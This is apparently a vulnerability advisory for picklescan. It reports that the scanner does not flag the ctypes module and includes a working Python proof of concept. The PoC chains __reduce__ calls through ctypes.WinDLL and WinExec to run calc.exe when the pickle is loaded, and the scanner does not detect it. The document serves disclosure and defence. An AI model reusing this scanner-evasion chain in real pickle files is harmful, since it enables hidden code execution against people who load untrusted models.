🛡️ CVE-2025-71323 — picklescan

Picklescan does not block ctypes

Summary

Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to

• Load DLLs
• Call C functions directly
• Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC

```python

import pickle

import ctypes

import operator

class Kernel32Loader:

def __reduce__(self):

#we go direct to the kerneeellllllll

return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:

def __reduce__(self):

return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:

def __reduce__(self):

#methodcaller to invoke "__call__" on the function pointer.

return (

operator.methodcaller("__call__", b"calc.exe", 1),

(WinExecGetter(),)

)

try:

payload = pickle.dumps(PopCalc())

with open("calc_exploit.pkl", "wb") as f:

f.write(payload)

print("Generated 'calc_exploit.pkl'")

except Exception as e:

print(f"Generation failed: {e}")

```

This will create a pickle file which is not detected by the latest version of picklescan as malicious

```python

import pickle

print("Loading bypass.pkl...")

pickle.load(open("calc_exploit.pkl", "rb"))

```

<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />